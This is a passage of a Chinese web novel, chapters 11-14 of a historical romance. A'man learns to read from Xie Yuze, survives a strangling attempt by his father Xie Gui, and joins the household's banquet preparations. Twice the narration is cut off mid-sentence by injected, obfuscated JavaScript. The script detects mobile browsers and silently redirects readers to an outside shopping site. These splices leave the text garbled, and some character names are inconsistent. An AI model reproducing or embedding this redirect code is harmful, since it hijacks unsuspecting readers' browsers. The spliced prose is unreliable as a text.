她说着促狭笑起来,她当然也有自己的如意算盘,这几日住在庄子上,离了先生,便是谢玉则亲自来抓她的功课了,谢玉则是神童,便怎么也看不上谢玉桃作的文章,每每交上去就会被批得一无是处,很打击她的自信心。 如今有了个连字都认不得的阿蛮作对比,想来阿兄便能识得她的聪慧,少责罚她几遍了。 11. 11 之后谢玉桃果然兴致勃勃地捧着文房四宝来教阿蛮识字。 阿蛮是个自呱呱坠地至今连纸笔都没见过几回的女娘,而谢玉桃呢,纵然比阿蛮多认识几个字,可要她像个先生一样教人便是强求了,于是两人只凑在一处学了两日,谢玉桃就筋疲力尽。 谢玉桃不能理解为什么简简单单的一句“天地玄黄,宇宙洪荒”教了阿蛮两日,她竟然还是只识得一个最简单的天字,更不用说要她落笔写字了,那更是惨不忍睹。 谢玉桃有时会被阿蛮蠢到,就控制不住地挂了脸,阿蛮本就觉得请她教学很是麻烦她,一看她挂了脸,便更是自责,甚至生出了些自我怀疑。 最末谢玉桃气哼哼地把阿蛮练得丑丑的大字一叠,拿在手里道:“今日课就上到现在了。” 反正她的目的也达到了,有阿蛮这丑字衬托着,想来阿兄在批她的功课时,对她能多几分和颜悦色。 谢玉桃兴冲冲地往观堂去了。 谢玉照已经到了。 谢玉桃抱着纸蹑手蹑脚进去的时候,正碰上谢玉照被训斥得头都抬不起来的模样,他垂头丧气的样子让谢玉桃心一紧,有种同是天涯沦落人的悲怆。 谢玉则训完不成器的弟弟,让他带着那文墨不通连修改都无处下笔的文章退下去反省,方才看向谢玉桃,那严厉的目光让谢玉桃的心一抖,她赶紧展开阿蛮练的大字。 “不瞒阿兄,这两日我忙着给阿蛮姐姐开蒙,于课业上有所懈怠,但教阿蛮姐姐认字,也是为了巩固我的学识,只是不曾想阿蛮姐姐是个榆木脑袋,八个字教了两天就认得一个字,反而将我累得够呛。”她说着说着,就没注意,语音尾调向上一翘,带出没藏好的自得。 “完全不像我开蒙时,我记得第一日我就把这八个字就记住了。” 谢玉则道:“你是如何教的?” 不必等谢玉桃回答,谢玉则便命人将阿蛮请来:“在我面前,你再教她一次。” 谢玉桃自然满口答应,这便苦了阿蛮,谢玉桃一走了之后,她真担心谢玉桃不肯再教她,就这么错过了好不容易得来的认字的机会,阿蛮非常自责。 她想向谢玉桃证明自己还是有些学习的天赋,便盯着那八个字,努力地死记硬背。 谢玉则着人来请她,阿蛮不明所以,不过此刻她的心都在读书一事上,还不觉得什么,等到了观堂知道谢玉则要谢玉桃当着他的面教她时,阿蛮顿时紧张的连说话都磕巴起来。 她不想让谢玉则看到她蠢笨如猪的模样,那实在太伤她的自尊,若真如此,大约往后她会直接在读书一事上彻底失去所有的兴趣与向往。 阿蛮不想让认字变成她一生的伤疤,要拒绝,可谢玉桃已经强拉着她开始认字。 她叫阿蛮读出那八个字,阿蛮死记硬背还是产生了一些效果,她用轻若蚊讷的声音不仔细地‘念’了一遍,谢玉桃便把字 打散了再叫她念,阿蛮能念得出来,但速度不快,一看就是在背,而不是认得这个字。 谢玉桃便摇头叹息:“真是笨,我都教你几回了,你还不认得!” 阿蛮的脸倏地红了,为自己的愚笨而又羞又愧。 谢玉桃又把她练的字拿出来:“还有你这字,比狗爬都不如,家中又不是没有纸,缘何还要将纸翻过来写?墨水都洇成块了,你还看得清你是如何落笔的吗?” 阿蛮被说得头都抬不起来。 她自然知晓谢家不缺买纸的银子,就连阿蛮开蒙,谢家都能给她提供澄心堂的纸——阿蛮不认得什么是澄心堂的纸,但这纸细薄光软,比她在书铺里看到的五十文一刀的纸还要好上许多,她节省惯了,又觉得这好东西给她完全是糟蹋,于是用得很珍惜。 结果,珍惜了,反而是做错了事,显得自己特别小家子气。 阿蛮无地自容。 她更不敢抬眼看谢玉则当下是在用什么眼神看待她的。 谢玉桃说她认字的时候又快又好,就这样交上去的作业还常常入不了谢玉则的眼,想来他根本没见过如阿蛮这般毫无学习天赋的人。 观堂内,她不敢说话,谢玉则也一直没有开口,唯独谢玉桃叽叽喳喳将她数落了遍,忽而谢玉则说话了,语气很严厉:“谢玉桃,你便是这般当先生的?” 谢玉桃收了笑,嘴巴还没有合上,呆呆地看着谢玉则,像是没反应过来怎么是她挨了骂。 谢玉则问:“我就是这般给你开蒙的?” 谢玉桃哪还记得开蒙时候的事,被兄长叱责,慌乱了一瞬,便听谢玉则道:“莫说你教得乱七八糟,便是你教学的态度,难道你的先生会在你刚认字时,就抓着你不值得一提的小错误对你大肆嘲笑?若是如此,你该告诉我,纵然过去许多年,但我依然能给你讨个说法。” “没,没有,先生从来不会如此。”谢玉桃的先生是谢玉则聘来的,学问好,品性更好,当然不会做这般无良的事,谢玉桃听出来兄长是在训她,她也终于反应过来自己做错了事,顿时面红耳赤。 “道歉。” 阿蛮还没反应过来,谢玉桃便丧着脸与她赔礼道歉,阿蛮慌得不行,赶紧道:“玉桃表妹也是好心教我认字。” 谢玉则道:“师者,传道授业解惑也。若她师德不修,如何给人传道解惑。谢玉桃,我对你更失望,送你去家塾念了好些年的圣贤书,你便是这么修养品德,既如此,你何必读书。” 这话就很重了,谢玉桃被说得没憋住眼泪,泪汪汪地哭起来。 谢玉则严肃地看着她,没点心软的意思。 阿蛮方才敢悄悄地抬起眼,偷看谢玉则。他仍是那般的高冷疏离,金质玉相,宽袍大袖,冰清玉润,仿佛映在积雪上的月辉,清而冷,不可触,只能远远地看着。 可是这一刻,阿蛮觉得他特别好,特别想与他亲近,她甚至想伸出手掬起这捧月光。 大约是她看得太专注,谢玉则忽然转过眼,目光落在她身上,阿蛮便如被风霜割脸般,顿时低了头。 阿蛮怕他训完了谢玉桃,就要残忍地告诉她,她不适合学习。 谢玉则道:“敬惜纸墨是好习惯,现下已有许多人就连书籍也不珍惜了,你这好习惯值得尊敬,但纸笔买来就是给人用的,你 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他是个志高行洁的君子,自然也希望自己的妹妹成为君子,这大约也是为什么他明明那么忙了还要亲自教导弟弟和妹妹。如今谢玉桃做错了事,他当然生气,更要想办法纠正妹妹的品性。 但往后他就要来教自己了,自己会不会也成为被他寄予君子之望的妹妹呢?阿蛮不觉畅想着。 虽则谢玉则之所以拨冗教她识字,完全是为了替谢玉桃收拾残局,但,万一呢? 阿蛮一想到这儿,脚步也变得急切了起来,她要赶紧回去练字。 自此开始,阿蛮便跟着谢玉则念书。 每堂课的时间不长,便是在谢玉则午睡起来后的三刻钟,阿蛮总是习惯早到一刻钟,在谢玉则不曾到来前,先温习昨日的功课,一直把自己学得心绪平稳下来了,才能起身去迎谢玉则。 她是开蒙,谢玉则每日只教她千字文里的一句话,却肯将他的字拿来给阿蛮临摹,阿蛮初初捧着那铁画银钩,打开时肃杀之气扑面而来的字帖时,痴痴地看了许久,当真是觉得把这么漂亮的字放在桌上都是糟蹋了这漂亮字。 合该将它好好地装裱起来,挂在墙上,供人瞻仰。 如此,阿蛮更是珍惜这来之不易的机会,她废寝忘食地临这字帖,只觉临字时,谢玉则也陪着她,她沉下心端详着字时,总不由自主地去忖度谢玉则为何会这般落笔,他的手腕为何会这般牵动。 她努力把自己的手变成谢玉则的手。 皇天不负有心人,当阿蛮手腕沉着力,小心翼翼地写出《千字文》前八句话时,就连谢玉桃都惊呼:“阿蛮姐姐,你这钩撇也太像阿兄写的字了。” ——谢玉桃罚抄完书后,就哭唧唧地拎着糕点上门来道歉,阿蛮感受到她确实有悔过之意,便与她和好了。 阿蛮听到这评价,心满意足地将写好字晾在旁边,等着明日拿去给谢玉则过目。 这时候疏月却匆匆来了,带来了一个令阿蛮心脏暂停的消息:“崔娘子,家翁明日便至府,阿郎叫你做好准备。” 12. 12 谢规抵达庄子时暮色已四合,长长的车队停驻在庄子前,披着薄纱的美人纷纷立于车头,怆然四望,却不敢反抗自己即将作为祭品血溅当场的命运。 谢规迫不及待进入庄子去视察早就吩咐谢玉则准备好的祭场,然而庄子内空空如也,随便抓来个仆人来问,便知道谢玉则 从不曾下达这个命令。 谢规火冒三丈。 他的亲生父亲,谢老将军一直都很欣赏谢玉则这个孙子,自小把他抚养在身边,后来更是将家主之位和爵位都传给了他, 谢玉则也就越发不把他这个阿父放在眼里了。 这让谢规很不满。 谢规无视了侍女的阻拦,闯进了观堂,他威胁谢玉则:“谢玉则,你竟敢将我的话当耳旁风,仔细我向朝廷递折子,告你不孝,到那时,莫说你玉郎的好名声保不准,就连长安都有了趁机将你贬官为民的把柄。你快出来,否则真到了那时,我看你有什么脸面去见你祖父!” 阿蛮早早便在观堂里忐忑地等着,她当然是怕的,可正当她对自己的命途不安时,便听谢规闯进来说了这些话,立刻不敢置信地瞪大了眼。 即使有崔裕凭那样的阿父的存在,可是听到另一个父亲毫不犹豫地威胁自己的儿子,要坏了儿子的名声,断了儿子的前程,让家族的基业毁于儿子之手,让他耻于面见列祖列宗,而这一切的一切,只是因为谢玉则不愿牺牲三十条性命配合他完成一个可笑的厌胜之术。 这是有多么恨谢玉则。 阿蛮正在腹诽,忽然眼前的帘子被人拂开,露出谢规愤怒的脸。 只一眼,阿蛮便确认了他的身份,因为他和谢玉则生得很像,一样的桃花眼,一样的薄情唇,只是谢规身上沾了太多世俗尘缘,神情疯疯癫癫,似魔似妖。 他看到阿蛮时也怔住了,停在那儿,戒备地将她上下打量了几回,似乎有些不敢相信自己的眼睛,他问:“你是谁?” 阿蛮道:“民女崔阿蛮……” 谢规忽然大笑起来,这突兀笑声太过莫名,唬住了阿蛮,她摸着身上刚起的鸡皮疙瘩,不知该如何应对,正踌躇间,谢规忽然止住了笑,满是恨意地看着她。 “你不是她。” 这恨意成了漫在眼底的血,充盈了整个眼球,他的肌肤又是惨白的,这样一看,仿佛从地狱爬上来的厉鬼来向她索命,阿蛮尖叫着,被他拖过去,冰冷的手掌掐在她的脖颈上。 “为什么她死了,你活着?你跟她那么像,无常为什么不来索你的命,叫你替她死了?” 疯子! 听到他不停地疯狂地质问着她,阿蛮更觉这个人不可理喻,脖颈上的力道在不停地收缩,是要置她于死地的狠厉,阿蛮的眼前漫过一阵一阵的黑暗。 谢玉则呢? 他说过会保她的平安的,若是安排了什么后手,那就快来啊,她真的要死了。 像是错觉般,阿蛮好像听到了骨头错位的声音,她翻着白眼,终于摸到了置于案几上的花瓶,而后毫不犹豫地握在手里,抄起来砸向谢规的头顶。 血痕从他的额头滴了下来,谢规没有昏过去,他幽幽地看着阿蛮,手上的力道松了些,阿蛮立刻抓准时机扭身逃了出去。 她并未放松警惕,被掐得差点断过气去,还记得要先抢个砚台拿在手里,警惕地看着谢规,好像他稍微有点异动,就会毫不留情地继续用手里的砚台砸他。 谢规冷声:“你知不知道我是谁?” 阿蛮没吭声,她不愿说话留下什么把柄,虽然从理论上来说,她肯定知晓谢规的身份。但阿蛮不想和这个人多说一句话,她只是闷着头想寻个逃跑的时机。 谢规察觉到了她的意图,冷笑一声,向她扑来,阿蛮身子灵活,一面抱来趁手的陈设向谢规砸过去,一面向外跑去,她没跑几步,就被谢规扯着发髻拽了回去,阿蛮尖叫着低头死死咬住谢规的手,谢规惨叫着松开了手,阿蛮连滚带爬地往外跑去。 这回谢规没有去追,他瘫在地上喘了口气,忽然道:“出来,就这样一直看着,不怕我真把她杀了?” 谢玉则从后堂走了出来。 整个观堂被书架和屏风分为前后两间,方才阿蛮只顾着紧张,却没注意到谢玉则一直就在后堂,冷眼看着她被掐得翻白眼,几乎命悬一线。 谢玉则道:“你不会杀她,我相信我的判断。” “都怪你祖父总说什么玉郎从不出错的鬼话,”谢规面露厌恶:“才把你养得无法无天,冷情冷性。” 谢玉则道:“我从不错看人。”他的目光落在谢规的额头上的血迹,“从我见到她的第一眼,我就知道她一定不会怯于向你动手。而你,也不会真舍得杀她。” 他的目光很淡,偏有洞若观火的锐利和从容,这让谢规很恼火,他抬起手,张开五指:“如果不是我发现你就在屏风后,我真要掐死她了。” 他欲盖弥彰地补充道:“我这辈子只喜欢玉骊。” 谢玉则没搭理这种废话。 谢规自顾自道:“你准备将她送给我?她确实很像你阿娘,你想将她留在身边,让我对着她思念玉骊也不是不可以。” 谢玉则嘲讽地看向他:“她是崔裕凭的女儿,换而言之,阿父,这是你的外甥女。” 谢规宛如被扇了个响亮的巴掌。 谢规三番两次插手谢玉则整顿盐务之事,想来谢玉则一定被他烦得焦头烂额,于是到处搜寻与崔玉骊相似的美人送来也是情理之中。 说实话阿蛮拿花瓶砸他的时候,谢规还挺满意的,那些送来的美人只有崔玉骊的形,这个却有魂。他自始至终不曾驯服崔玉骊的遗憾,或许可以在这个女娘身上补齐。 再加上谢规虽然是父亲,可还没体会被这个儿子俯首称臣的感觉,他心下大爽,便嘴快地说了出来。 结果不是。 竟然不是! 谢规终于有了种被自己的儿子戏弄的耻辱感,他恼羞成怒地瞪着谢玉则。 谢玉则缓步向前,直至谢规的面前,他微微牵起唇,露出居高临下的嘲讽。 谢规嫉妒他得谢老将军的看重,看不上他的能力,谢玉则便慢悠悠地当着他的面剖析他。 “你始终不敢承认祖父从未瞧得上你过,于是编造了不爱江山只爱美人的借口,只为掩盖你的无能,可怜阿娘不明所以,被囚禁半辈子来配合你,最后终于在绝望之中自缢。她根本想不到,哪怕死了,她还是不得自由,照旧沦落为配合你做戏的工具,让你去试探云州有哪些人是倾向你,反对我。” 谢规的脸色被谢玉则说得很差 “可据我所知,阿父,那三十个美人到了你身边后,就不是完璧之身了。我能用崔阿蛮来试你,当然是押准了你一定会露出马脚。”谢玉则淡笑,“阿父,如今兵权在我手中,别试图插手与我争权,为了祖宗基业和黎民百姓,你一定会死得很惨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058079|194917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢规不可置信地看着他:“你不怕我向朝廷上书告你不孝?” 谢玉则完全不在意:“你若能舍得富贵,请便。” 谢规沉默了,这个账根本不必算,谢家如日中天,长安早忌惮得不得了,他再恨谢玉则也不可能葬送自己的富贵,将谢家的把柄递给长安。 剩下的便是限于云州内部的争斗,那是谢家的争斗,谢规没有兵权,初次的试探又失败得这般彻底,可见他根本无力和谢玉则斗,但谢家眼红谢玉则这个刚及冠的少年却能掌百万雄兵的人不在少数。 他不必亲自斗。 谢规做出让步:“明日我亲自上山祭拜玉骊。” * 阿蛮丢了魂,疯了一样地逃出观堂,却很快被疏月拦了下来,她想到自己刚才砸伤了谢规,有些害怕,无论如何谢规是谢 玉则的亲生父亲,地位超然,她怕谢家找她算账。 因此阿蛮条件反射还是逃。 疏月无奈,只能唤她:“崔娘子,今日你做得很好,奴婢是奉阿郎之命,请崔娘子去歇息。” 阿蛮没听懂这话,她失魂落魄地站在那儿,发髻散乱,脸上挂满泪痕,披帛早丢了,就连脚上的鞋子也只剩了一只,可以说狼狈至极,有眼睛的人都能看出她方才遭遇了何等危险的事,可疏月还是那般笑语晏晏,不紧不慢的样子。 对她得狼狈根本是熟视无睹,不关心,不在意。 阿蛮有些无措,问疏月:“我做得好吗?可我好像做错了事。” 疏月肯定道:“崔娘子做得很好。” 阿蛮便不说话了。 她想到其实哪怕在观堂候着了,她仍旧不知道谢玉则要她做什么,面对整件事,她只模糊地知道她或许会有性命之忧,可因为谢玉则说能保她平安,阿蛮便也二话不说,勇敢地踏进了观堂。 结果,她真的遇到了危险,她快被那个疯子掐死了,但即使是最危险的时候也没有看到谢玉则,她是靠自己逃出来的。 她命悬一线,却还不知道自己为何命悬一线,又是哪里做得好了。 她彻头彻尾,就是个连疏月都懒得关心一句安危的工具。 但阿蛮又能说什么呢,这本就是她和谢玉则的交易,她有义务完成她该做的,而谢玉则又那么大方,早早地让她过上了谢家表姑娘的好日子。 她有什么好过不去的。 阿蛮胡思乱想着努力自我宽慰着,便到了她的小院,疏月走进去时,一眼看到她昨夜为了鼓起勇气,特意展开来放在案桌上看了又看的字帖。 断金割玉,铁画银钩,字如其人,仿佛谢玉则伴随左右。 疏月上前收起那字帖,露出了底下那张阿蛮耗尽心血后,也只临得有几撇几捺与谢玉则神似的字,她看了眼,大约觉得不是什么重要的东西,随手叠起放在一旁,是很不以为然的态度。 “等回了谢家,崔娘子自有先生,便不该再劳动阿郎了。” 阿蛮:“可这是侯爷布置的课业,我还未请他过目检查。” 疏月指责她不懂事:“崔娘子,阿郎那般忙,哪有时间看这种东西。有这时间,还不如叫他好好休息。说到底,你终归不是阿郎的亲妹妹,与其将他对你的情分耗费在这种小事上,不如抓着这个机会,靠着陈郡谢家,好生给自己谋求个好婚事。” “崔娘子也莫嫌弃奴婢说话直白不中听,奴婢这话都是为着娘子考虑的,忠言逆耳了。” 13. 13 好说好歹,占着个有始有终的名目,疏月终于勉为其难取走了阿蛮练的字,但那之后阿蛮再未见过谢玉则,就连谢玉桃都不往她这儿跑了。 阿蛮有些惶恐,她始终担忧那日砸伤了谢规会被谢家清算,于是小心翼翼转着弯儿与留下的两个侍女打听,才知道这几日谢家忙着给崔玉骊做法事,她不是谢家人,自然与此事无关。 但留下来的两个侍女有了自己的想法。 这两个侍女,一个唤闻春,一个叫报春,原本都是二等侍女,在谢家也算有前程,不幸得罪了领班之人,方才被派来伺候个没有前途、没有靠山的表小姐。 她们前途尽失,当然不甘心,可事成定局,也无可奈何,只好将所有的希望都落在阿蛮身上。 她们开始不停地诱惑阿蛮,取出华贵的衣裳,精美的首饰,让阿蛮移不开眼,再诱哄着阿蛮起高嫁的心思。 “若是能嫁得高门,这绫罗绸缎便任娘子撕来听响了,娘子想想这日子该有多惬意。” 阿蛮谦和一笑:“高门岂是我想嫁便能嫁得的。” 闻春与报春互相看一眼,便知有戏,闻春忙道:“娘子莫要自谦,你这般的身材样貌,何患不得高门郎君的青睐?不说旁的,便是族里的谢四郎就是一等一的风流倜傥,最爱惜美人了。” 虽说这谢七郎不过二十岁,身上早定下亲事,要娶郗家妇不说,就是屋子里也有三四房姬妾了。 “还有谢九郎,那也是个痴儿,非心上人不娶,家中的女君为此头疼不已,只愿出现个能掳获七郎的心的大美人。” 这谢九郎好娈童,家中豢养了好几个眉清目秀的小倌,名声早臭了,根本没有高门贵女愿嫁给他,家里只好往庶族寒门寻媳,只盼能传个香火就是了。 “再有便是……” 她们一口气数出了五六个样貌好,家世好的郎君,各个说得花团锦簇,好像真有那么多的高门郎君随阿蛮挑拣般。 最后她们齐齐推出谢九郎,一致认为这是最与阿蛮般配的郎君,不断地鼓动阿蛮,阿蛮只微笑着听着,并不表达自己的想法。 闻春与报春便以为她是害羞了,二人暗暗得意,只想着要在阿蛮知晓谢九郎的名声之前,尽快促成此事。 很快,法事结束,阿蛮便要随谢家返回云中郡了。 即将踏入庭院深深的高门大院,阿蛮终于生出几丝惶恐不安,好在这时候谢玉桃也从祭奠亡母的悲伤中缓了过来,又抱着裙子溜溜达达地来寻阿蛮了。 她有了新的烦恼。 “我的生辰快到了,这些日子我们一直住在庄子里,阿兄定然叫二婶母操持此事,那不还是由八姐姐说了算。” 阿蛮静静地听着记着,先对谢家的亲属关系有个大概的了解。 原来这谢八娘子到了出阁的年纪,婚期就定在今年的十月份,嫁的是同为大族的裴家。 这裴家有个五娘子特别喜欢谢玉则,与其他喜欢谢玉则的小女娘不同,裴五娘子泼辣大胆,敢想常人不敢想,她竟然真敢谋求嫁谢玉则。 而这裴五娘子正是谢八娘子的未婚夫的亲妹妹,谢八娘子为拉近与妯娌、姑舅的关系,自然肯帮她。 如此这生辰宴就是打着为谢玉桃庆生的幌子,实则用来让裴五娘子接近谢玉则的相看宴,这让谢玉桃如何不气恼。 她气鼓鼓道:“离开前八姐姐还假模假样地来问我喜欢什么样的生辰宴,我说想请人来耍百戏,八姐姐以不够庄重为由一口否决了,说给我另外请伶人。瞧着好了,哪有什么伶人,必然是让裴五娘子亲自演奏阿兄最爱的正音雅乐。” 阿蛮不知道什么是正音雅乐,谢玉桃给她讲解时充满无奈:“是根据《礼记》编的乐曲,平素专门用于祭祀,朝贺,宴享等大典,十分的……典雅纯正。” 说到典雅纯正这四个字,谢玉桃都面露难色,阿蛮怀疑她真正想说的是无聊,果然下一瞬谢玉桃便开始忍不住抱怨起来:“阿兄很好,我也很敬重他,可他这人当真一点享乐的情趣都没有,平素不是公务就是公务,偶尔弹琴也是为了涵养品性,真不知他活着有什么趣味。” “就是这样,云州不知有多少小娘子心悦他,可都不敢接近他,只觉得他是个无情无欲的冰块,靠近就要被冻死了。难怪他都二十二了,我还没有亲嫂嫂呢。” 谢玉桃话赶话,没忍住,便与阿蛮吐露了许多肺腑之言,阿蛮听得直笑,她想了想道:“不会啊,我们这些升斗小民还是很感激侯爷的。” 她说着撩开车窗帘子,白云悠悠,牧童枕臂而睡,黄牛在旁甩着尾巴低头吃草,风吹麦浪,此情此景是如此的宁静祥和,就是阿蛮也无法想象在十数年前,这片土地曾充斥着惶惶不安的难民,挨着饿还要警惕地到处巡逻的村民。 车行至日暮,终到云中谢府。 阿蛮的屋舍已被分配好,由二春带路至澜芳阁,说是阁楼,可照样有庭院,开门时,还能瞧见阁楼下缓缓流过的水波,阿蛮吃惊地询问这河是从何而来,报春见怪不怪道:“自然是挖渠从外引进来。” 阿蛮想象这工程该有如何浩荡,不禁咋舌。 闻春插嘴道:“这有什么,阿郎赶跑乌桓,从蛮贼的马蹄下收回被蹂躏百年的燕、幽两州后,便有谄媚者献计,说谢府窄小,原是谢祖让利于民之计,今侯爷立下不世之功,因煊赫其名,将伏龙江改道从谢府流过,让众人瞧瞧,就连伏龙江都为阿郎改道,四方夷族还敢不来拜服?但阿郎想到这样的工程需要调动民夫数十万,便拒了。” 闻春为此遗憾不已,阿蛮却想到这种工程不单是劳民伤财,更重要的是有不少的渔民纤夫船夫靠伏龙江吃饭,若是谢府截断伏龙江,真让其为之改道,必然造成万千黎民食无可食。 或许谢玉则其人真如云中女郎那般所言,毫无情趣可言,是难以打动的冰块,可他真的实实在在地庇护了云州的黎民。 身为黎民的一员,阿蛮感激他。 次日阿蛮用过朝食,闻春又取来玉容膏护养阿蛮的手。 阿蛮手的骨架其实生得很好,纤细柔长,只可惜做惯了重活累活,肌肤粗糙不堪,尤其是她身上的肌肤欺霜傲雪的,忽然多了这么一双手,仿佛嫩枝上多了截老树皮,突兀,不中看。 这般养着,昨日谢玉桃才与她提起过的谢八娘忽然到了。 谢八娘也是今日谢玉桃兴冲冲地来吩咐她,要在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058080|194917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生辰宴上加个人,才知道谢玉则去庄子上小住了两旬,竟然带了个从未听说过的表小姐回来。 她想到一直痴心不改,任裴别驾、裴女君如何劝、骂都不肯议亲,死也要嫁给谢玉则的未来妯娌裴五娘,谢八娘立刻忧心忡忡地来澜芳阁探个究竟。 一进屋,她便瞧见个白得晃眼的小女娘,云鬓雾鬟,眉翠眼媚,柔敛神情,春醉嫩脸,轻着罗衫,雪散胸前,更觉娇媚。 谢八娘眼前黑了又黑,为尚不知情的裴五娘忧心不已,及至望见阿蛮那粗糙不堪的手,仿佛见到美玉有瑕,立刻价贱千金,方才计上心头,转忧为喜。 等阿蛮抬眼望来时,谢八娘已恢复了谢家女的傲慢,在谢玉桃的牵引下不紧不慢地入座,一边打量着阿蛮的丑手,一边听谢玉桃相互介绍。 崔玉骊被捉回来后就一直被囚起来,只有逢年过节的大日子才会在家宴上稍稍露脸,故而谢八娘对她的印象不深,只知道她是个农女,又因谢规强抢民女,为崔玉骊失了理智,导致谢老将军一直对她不喜,因此崔玉骊这个农女在谢家也不曾建立起 自己的势力。 于是听到阿蛮是她的外甥女,谢八娘彻底不担心了。 她把帖子当着谢玉桃的面给了阿蛮后,便连茶都不屑于吃一口,就起身告辞了。 出了澜芳阁,她立刻命人套上马车去见裴五娘。 阿蛮打开帖子,桃粉色的纸笺上洒金成花,打开时便有淡香,阿蛮从未见过这般好的纸,摸了几回,方才去看那上面的字,如今她跟着谢玉则学了几日的字,还不足够将帖子上的字全部认出来,她只是在看那上面书的簪花小楷,字形紧凑细长,柔美清丽。 这便是世家女郎的字,倒是比谢玉则的字好学,阿蛮懂得心急吃不了热豆腐的道理,她问谢玉桃:“可有这种字的字帖?” “有。”谢玉桃扫了眼,“我回头就叫人拿来。” 她想到自己的生辰宴被谢八娘拿去做人情,倒是宴席上又是乌泱泱一群眼睛只围着谢玉则转的女娘,这让谢玉桃很不高兴。 她有意叫裴五娘和谢八娘难堪,便鼓动着阿蛮:“阿蛮姐姐,我们可是最好的表姐妹,如今我过生辰,你要送我什么礼物?” 这问题阿蛮早就思考过了,如今她的吃穿用度皆仰仗谢府,实在没有拿得出手的,唯独她还有手不错的厨艺,谢玉桃也是个嘴馋的,届时她便请府里的厨娘指导她做几道点心就是了。 不是她不肯用心,实在是她囊中羞涩,日子又短,来不及准备其他了。 谢玉桃眼珠滴溜一转,佯装失望:“就这般简单啊。” 阿蛮也很不好意思,谢玉桃便趁机道:“阿蛮姐姐不如跳支舞给我看好了。” 阿蛮大惊失色:“我从未学过舞。” 甚至她都没怎么看过旁人跳舞,怎会跳舞? 谢玉桃立刻哄她:“放心,我挑的这舞啊,特别好学,学个两日便成了。” 殊不知谢玉桃之意根本不是让阿蛮在舞技上与裴五娘争个高低,而是想让她艳压群芳,相信由盛装出席的阿蛮的衬托,一定能让裴五娘在内的其他的小女娘黯然失色,这般方才能替自己出口恶气。 14. 14 谢八娘去寻裴五娘时,她正在练习编钟。 裴五娘这套编钟不算大,但钮钟、甬钟和镈钟齐全,击打时需要侍女配合,她便要做好安排,既要侍女帮上忙,又不至于抢了她的风头。 于是当谢八娘说起崔阿蛮时,裴五娘心不在焉的,根本不放在心上。 谢八娘急了,再次与她强调:“这崔阿蛮当真美极了。” “她就算美若天仙又如何?”裴五娘嗤笑一声,“若是仅凭美色就能打动玉郎,我又何必昼夜不分地苦练编钟。” 她话语里虽有几分苦涩,但不多,甚至还有几分振奋,心仪的郎君并非寻常那等轻易能被皮囊勾了魂的凡夫俗子,她很满意,也很自豪自己的眼光,妄图征服谢玉则的心更是蠢蠢欲动。 谢八娘理解不了裴五娘的心意,仍忧心忡忡:“不一样,她可是堂兄亲自带回来的。” 涉及家事,谢八娘略有含糊,但裴五娘也听得懂,崔玉骊的母族拿不出手,谢家这几年根本不和崔家走动,显然是不认这门姻亲的,崔阿蛮既然能被谢玉则带回谢家,认下这个表姑娘的身份,自然是在某方面打动了谢玉则。 但裴五娘没有丝毫的迟疑,道:“玉郎是真正的君子,那么多的小女娘喜欢他,他从来不糟践我们的心意,反而是那些五陵年少眼红我们只喜欢玉郎,不爱他们,肆无忌惮地嘲笑我们,尤其是谢四这混账,说得最多最凶!好多小女娘都被他说哭了,后来不知怎么被玉郎知道了,狠狠教训了他一顿,谢四就再不敢当着我们的面说什么了。” 裴五娘作为被耻笑的‘花痴’一员,别人口中‘倒贴都没人要’的人,她当时都快被谢玉则感动地指天发誓今生非他不嫁,结果随之谢府就传出来谢玉则‘乌桓不灭,何以家为’的话,裴五娘听懂了这是谢玉则委婉地回绝了她们的心意。 这话传出来后,不少小女娘心碎不已,开始谈婚论嫁,唯独裴五娘不肯放弃,她知道谢玉则是难攀的高山,可是有这般珠玉在前,她实在看不上其他人,也不舍得让自己将就。 如此风光霁月的谢玉则,真的会被某个小女娘打动,对她另眼相看吗?裴五娘不相信,她觉得就算真有这样的小女娘的存在,那人也该是她。 所以她根本不将崔阿蛮放在眼里。 此时的阿蛮根本不知道外面有两个素不相识的女娘对她评头论足了一番,她忙着学习谢玉桃为她安排的舞蹈。 阿蛮没跳过舞,也没见人跳过舞,可这不妨碍她怀疑这舞蹈不是正经舞蹈。 “当真只要转圈?” 谢玉桃点头。 特意请来教学的舞娘道:“娘子莫要小看这转圈,若要将这圈转得稳当、迅疾、好看,也是不简单的。” 阿蛮似懂非懂,懵懵懂懂便开始学习这闻所未闻的胡旋舞,只转了两圈,她便发觉其中的艰难,于是立刻抛开杂念,埋头深学,只是偶尔心头会划过些许的疑惑。 “怎么会有人喜欢看别人转圈?这光靠转圈竟然还真能转成一支舞蹈,这舞蹈竟然还真有个名字,真是怪哉!” 谢玉桃见阿蛮学得用心,赶紧着手准备阿蛮的裙裳。 生辰宴就在两边紧锣密鼓地准备中如期而至了。 当日宾客盈门。 原本谢家就是云州的望族,想要巴结谢家的人就多,何况谢玉则还会在亲妹妹的生辰宴上露脸呢。 要知道谢玉则很少参与公务之外的宴会雅集,别看云州有那么多小女娘喜欢谢玉则,可真要见到他的次数其实是少之又少。 尽管她们之中的绝大部分已经知难而退了,但爱美之心人皆有之,于是她们马上抓住这个机会花枝招展地来了谢家。 谢玉桃带着阿蛮在人群中走了半天,就是想看到底有没有人是真心来为她庆生。 